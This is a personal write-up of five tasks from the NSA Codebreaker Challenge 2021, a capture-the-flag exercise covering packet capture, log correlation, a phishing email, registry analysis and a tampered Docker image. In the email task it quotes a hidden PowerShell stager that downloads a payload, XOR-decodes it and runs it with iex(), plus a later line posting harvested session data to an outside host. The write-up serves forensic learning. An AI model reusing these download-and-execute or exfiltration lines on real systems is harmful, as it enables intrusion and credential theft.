NSA Codebreaker Challenge 2021

12 minute read

The 2021 Codebreaker Challenge consists of a series of tasks that are worth a varying amount of points based upon their difficulty. Schools will be ranked according to the total number of points accumulated by their students. Solutions may be submitted at any time for the duration of the Challenge. While not required, we recommend that you solve tasks in order, since they flow with the storyline. Later tasks may rely on artifacts / inputs from earlier tasks. Each task in this year’s challenge will require a range of skills. We need you to call upon all of your technical expertise, your intuition, and your common sense.

The NSA’s Codebreaker Challenge (2021) was my first ever major Capture The Flag challenge that I have participated in. It featured a wide range of different skills, and was an amazing learning experience. There were ten tasks total: 6 collaboration and 4 solo. I solved 5/10 tasks.

Find all source files on my GitHub repository: https://git.landon.pw/r/capture-the-flag/tree/main/nsa-codebreaker-2021


Task 1: Network Forensics, Command Line

Tools: Wireshark

The NSA Cybersecurity Collaboration Center has a mission to prevent and eradicate threats to the US Defense Industrial Base (DIB). Based on information sharing agreements with several DIB companies, we need to determine if any of those companies are communicating with the actor’s infrastructure. You have been provided a capture of data en route to the listening post as well as a list of DIB company IP ranges. Identify any IPs associated with the DIB that have communicated with the LP.

First, I opened capture.pcap using Wireshark. Then, it was a simple filter to see which IP(s) had interactions. Using the filter ip.addr == XX.XX.XX.XX/XX for each CIDR notation will show which IP addresses interacted with the LP.


Task 2: Log Analysis

NSA notified FBI, which notified the potentially-compromised DIB Companies. The companies reported the compromise to the Defense Cyber Crime Center (DC3). One of them, Online Operations and Production Services (OOPS) requested FBI assistance. At the request of the FBI, we’ve agreed to partner with them in order to continue the investigation and understand the compromise. OOPS is a cloud containerization provider that acts as a one-stop shop for hosting and launching all sorts of containers – rkt, Docker, Hyper-V, and more. They have provided us with logs from their network proxy and domain controller that coincide with the time that their traffic to the cyber actor’s listening post was captured. Identify the logon ID of the user session that communicated with the malicious LP (i.e.: on the machine that sent the beacon and active at the time the beacon was sent).

To be honest, this task was a bit painstaking for me. I’m sure there was an easier way to achieve the goal, but for me, it was more trial and error and going one-by-one until I found the right result. First, I opened proxy.log to find which IP address was interacting with the LP. From Task 1, we know the LP to be ‘’ because that is the IP address that all IP ranges from Task 1 interacted with. So, we can simply search for ‘’ in proxy.log, and we will see:

12021-03-16 08:36:11 38 200 TCP_MISS 12734 479 GET http tcthy.invalid chairman - - DIRECT application/octet-stream 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36' PROXIED none - SG-HTTP-Service - none -

The first thing that came to my mind was to look for ‘’, however, that yielded 108 results, and I did not feel like sifting for hours through JSON data. If we take a look at the logins.json file, we will notice timestamps are as follows: ‘“TimeCreated”: “2021-03-16T12:20:44.9171085+00:00”’. So, I started by looking for the string ‘2021-03-16T08’ in the logins file, to see if any users were active at the time. However, there were no results. This had me a bit stumped, so then I assumed it could be 24H time; therefore, T20, rather than T08. This provided results, but none using the ‘’ remote address. So, I then compared logins.json to proxy.log, and noticed that the timestamps are different. The first result in proxy.log is at 06:45:45 and in logins.json at 10:42:49. So there is a ~4 hour difference. I then looped back to capture.pcap and filtered by http.request.method == "GET" to find the GET request to ’tcthy.invalid’, which shows an Epoch timestamp of ‘1615897943.847900000’, or ‘2021-03-16T12:36:11’.

So, now I had the proper timestamp to be looking for. We know the remote address has to be ‘’ and the user had to be active at ‘2021-03-16T12:36:11’.

This took a bit of sifting through data and timestamps, but I was able to find:

1{"PayloadData1": "Target: OOPS\\reinoso.barbara", "PayloadData2": "LogonType 3", "PayloadData3": "LogonId: 0X386CF8", "MapDescription": "An account was logged off", "ChunkNumber": 0, "Computer": "OOPS-DC.oops.net", "Payload": "{\"EventData\": {\"Data\": [{\"@Name\": \"TargetUserSid\", \"#text\": \"S-1-5-21-8182753-126455048-1978990350-1100\"}, {\"@Name\": \"TargetUserName\", \"#text\": \"reinoso.barbara\"}, {\"@Name\": \"TargetDomainName\", \"#text\": \"OOPS\"}, {\"@Name\": \"TargetLogonId\", \"#text\": \"0X386CF8\"}, {\"@Name\": \"LogonType\", \"#text\": \"3\"}]}}", "Channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventId": 4634, "EventRecordId": "6428", "ProcessId": 693, "ThreadId": 7836, "Level": "LogAlways", "Keywords": "Audit success", "SourceFile": "C:\\Windows\\system32\\winevt\\Logs\\Security.evtx", "ExtraDataOffset": 0, "HiddenRecord": false, "TimeCreated": "2021-03-16T14:24:38.0887578+00:00", "RecordNumber": "6428"}

The user reinoso.barbara with LogonID of 0X386CF8 was active on the remote address ‘’ (The IP address that made the request to the LP) up until 14:24:38, which was after the request was made.

Task 3: Email Analysis

With the provided information, OOPS was quickly able to identify the employee associated with the account. During the incident response interview, the user mentioned that they would have been checking email around the time that the communication occurred. They don’t remember anything particularly weird from earlier, but it was a few weeks back, so they’re not sure. OOPS has provided a subset of the user’s inbox from the day of the communication. Identify the message ID of the malicious email and the targeted server.

I began by unzipping the email.zip archive, and it shows 23 EML files. I began going through each file, simply by opening it up using MacOS’s Mail app. This could be done by any application that supports email clients, such as Thunderbird, etc. A few of the emails contain attachments, such as images, PowerPoints, and Spreadsheets, but specifically, message_9.eml contains 3 images, one of which does not properly display in the mail client. I saved the file, sam1.jpg and ran some file analysis on it. Using

1$ file sam1.jpg
2>> sam1.jpg: ASCII text, with very long lines, with no line terminators

We see it is not a JPEG file. I then used

1cat sam1.jpg

to see the contents of the file, and received a very intriguing response:


So message_9.eml is obviously the malicious email, so opening it with any text editor, we will see the message ID is [email protected]. Okay, 1/2 done. No we need to figure out the domain name of the server that received the POST request. Let’s start by decoding the obvious base64 using


and we get

 1$bytes = (New-Object Net.WebClient).DownloadData('http://tcthy.invalid/chairman')
 3$prev = [byte] 173
 5$dec = $(for ($i = 0; $i -lt $bytes.length; $i++) {
 6    $prev = $bytes[$i] -bxor $prev
 7    $prev

I actually have never even looked at PowerShell before this challenge, so this was a bit tricky for me to understand. To start, I analyzed the arguments of the PowerShell command. ‘’-nop’ is the same as ‘’-noProfile’, ‘’-noni’ is the same as ‘’-nonInteractive’, and ‘’-w Hidden’ is the same as ‘’-windowStyle hidden’. All of these arguments create an invisible PowerShell script, that no user would suspect of running. Okay, so this is definitely the malicious email attachment, but it isn’t making a POST request, it’s only making a GET request to ‘http://tcthy.invalid/chairman’. We know that this PowerShell code is taking data from the URL and storing it into an array, and then looping the array and encoding it into UTF-8 to generate a string, and then calling iex(), which will run whatever the string is. Since the PowerShell made a GET request to that URL, we can simply analyze capture.pcap again, and ‘File > Export Objects > HTTP > chairman > Save’ which will save a file, chairman, containing the data needed to properly execute the PowerShell script. All we have to do is make a slight modification to the PowerShell code. Rather than setting $bytes to the HTTP data of that URL, we can use $bytes = [System.IO.File]::ReadAllBytes('chairman') to set it equal to the bytes of the chairman file.

All in all, we will have the following: sam1.ps1:

 1$bytes = [System.IO.File]::ReadAllBytes('chairman')
 3$prev = [byte] 173
 5$dec = $(for ($i = 0; $i -lt $bytes.length; $i++) {
 6    $prev = $bytes[$i] -bxor $prev
 7    $prev

We can then execute this PowerShell file to output the expression being invoked by iex(). Running pwsh sam1.ps1 will output another PowerShell script, and we will see Invoke-WebRequest -uri http://vrqgb.invalid:8080 -Method Post -Body $global:log, at the very bottom, which is our POST request being made to ‘vrqgb.invalid’. I saved the PowerShell script generated from sam1.ps1 as malicious.ps1 for future-use in later tasks.

Task 4: PowerShell, Registry Analysis

Tools: hivexsh

A number of OOPS employees fell victim to the same attack, and we need to figure out what’s been compromised! Examine the malware more closely to understand what it’s doing. Then, use these artifacts to determine which account on the OOPS network has been compromised.

Extracting artifacts.zip reveals a bunch of PuTTY public and private keys, and a NTUSER.DAT file. If we analyze malicious.ps1, we notice that the code is extracting active WinSCP, PuTTY, and RDP sessions from all users in the current hive. Per TechWalla; “The registry is divided into sections known in Microsoft terminology as hives, and the ntuser.dat file is a copy of the data stored in the registry hive for a specific user, organized in a set of hives called HKEY_USERS. When you are logged in, your user hive can be found in the registry as HKEY_CURRENT_USER.” It turns out viewing Windows registry files is insanely hard to do on MacOS. I first tried a Java application called RegeditEx, which allowed me to view the directories, but I wasn’t able to view any key pair values. I then tried PyRegEdit, but I wasn’t able to install the dependencies it required as it’s 8 years old. So, I booted up Kali and used the already installed ‘Hivexsh’ tool, which allows you to view and modify Windows Registry files. Running hivexsh NTUSER.dat allows you to interact with the file just like normal Linux file system. You can use cd to move around and ls to list files. If we take a look at the PowerShell script, we notice it gets active sessions from:

1$PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions"
2$WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"

Since we’re looking for PuTTY sessions, let’s go to that directory. We simply run

1cd Software\SimonTatham\PuTTY\Sessions


and we are given the PuTTY sessions that were active at the time. This reduces our options to 5 machines. Now we have to reduce it to one.

Our options are dkr_prd16, dkr_prd24, dkr_prd71, dkr_prd80, and dkr_tst07. We have to figure out which machine the attacker would be able to access. I then began analyzing the PuTTY private key files, starting with dkr_prd16.ppk:

 1PuTTY-User-Key-File-2: ssh-rsa
 2Encryption: aes256-cbc
 3Comment: __COMP1__
 4Public-Lines: 6
11Private-Lines: 14
26Private-MAC: cc925b7288219c35ffc0080fc3976b090e957c10

Thee first thing that stood out to me was the Encryption: ‘AES256-CBC’. An attacker would want to attack a device with no encryption. So, I went through all of the .ppk files for the machines that had active PuTTY sessions, and when I got to dkr_prd80.ppk, I noticed: ‘Encryption: none’. There we go, we know the attacker attacked that machine. If we head back to Hivexsh, we can use cd dkr_prd80 and then lsval to list all of the keypairs. At the very top, we will see one specific value: ‘“HostName”=“[email protected]_prd80”’. So we now have the username, hypervbot and the machine, dkr_prd80.

Task 5: Docker Analysis

A forensic analysis of the server you identified reveals suspicious logons shortly after the malicious emails were sent. Looks like the actor moved deeper into OOPS’ network. Yikes. The server in question maintains OOPS’ Docker image registry, which is populated with images created by OOPS clients. The images are all still there (phew!), but one of them has a recent modification date: an image created by the Prevention of Adversarial Network Intrusions Conglomerate (PANIC). Due to the nature of PANIC’s work, they have a close partnership with the FBI. They’ve also long been a target of both government and corporate espionage, and they invest heavily in security measures to prevent access to their proprietary information and source code. The FBI, having previously worked with PANIC, have taken the lead in contacting them. The FBI notified PANIC of the potential compromise and reminded them to make a report to DC3. During conversations with PANIC, the FBI learned that the image in question is part of their nightly build and test pipeline. PANIC reported that nightly build and regression tests had been taking longer than usual, but they assumed it was due to resourcing constraints on OOPS’ end. PANIC consented to OOPS providing FBI with a copy of the Docker image in question. Analyze the provided Docker image and identify the actor’s techniques.

I started by unzipping the image.tar file and analyzing all the files within it. In the 63a520e0f57025e1b1168dca2316143f7d1fdb00d2b2d29c4f400549b67865c9.json file, you can already see the answer to the first question, ‘“maintainer”: “[email protected]”’. Next, we need to find which repository is cloned via Git. This can be done two ways; either loading the Docker image and actually running it, or just by analyzing the files yourself. Because I didn’t want to mess with Docker, I decided to just analyze the file system. In the repositories file, we notice ‘“latest”:“6f5fde26cde9fde9a94e4026745b49a6c2af80a7cd51a71ebcfd11c0d04db552”’, so we can start with that folder. If we extract 6f5fde26cde9fde9a94e4026745b49a6c2af80a7cd51a71ebcfd11c0d04db552/layer.tar, we will see usr/local/src/build_test.sh and we will also see the answer to question #2: ‘git clone https://git-svr-45.prod.panic.invalid/hydraSquirrel/hydraSquirrel.git repo’. All we have to do now is is find the malicious file. Taking a look at build_test.sh:

 3git clone https://git-svr-45.prod.panic.invalid/hydraSquirrel/hydraSquirrel.git repo
 5cd /usr/local/src/repo
 9make -j 4 install
11make check

These are all of the commands ran when the Docker image is loaded. There are only 5 commands, so one of these has to be malicious. It starts with a git clone of the hydraSquirrel repository into a /repo/ folder, and then cd’s into that folder. Then, autogen.sh is ran, and then two make commands. Because the repo repository does not exist in the current file system, /usr/local/src/repo/autogen.sh cannot be the malicious file because it doesn’t exist. A key hint is also given by the prompt: “PANIC reported that nightly build and regression tests had been taking longer than usual,” so we know that something is causing the builds to take longer, such as an increased file size. The malicious command is either the make or git. So, let’s check make out first. If we go to f9128527ef00a03558d6a486bcc37653a5c1ec88469b18610220305bcdc7d0b3/layer/usr/bin, we can see make is 8.7MB. Interesting. Now let’s compare that to the usr/bin/make file on our host system (For me, MacOS. This applies to any Unix based OS, though). We can run cd /usr/bin and then ls -lh to see that make is only 134KB by default. With this, we can confidently say that /usr/bin/make is the malicious file, as it has obviously been tampared with– apparent from the increased file size compared to the default make file.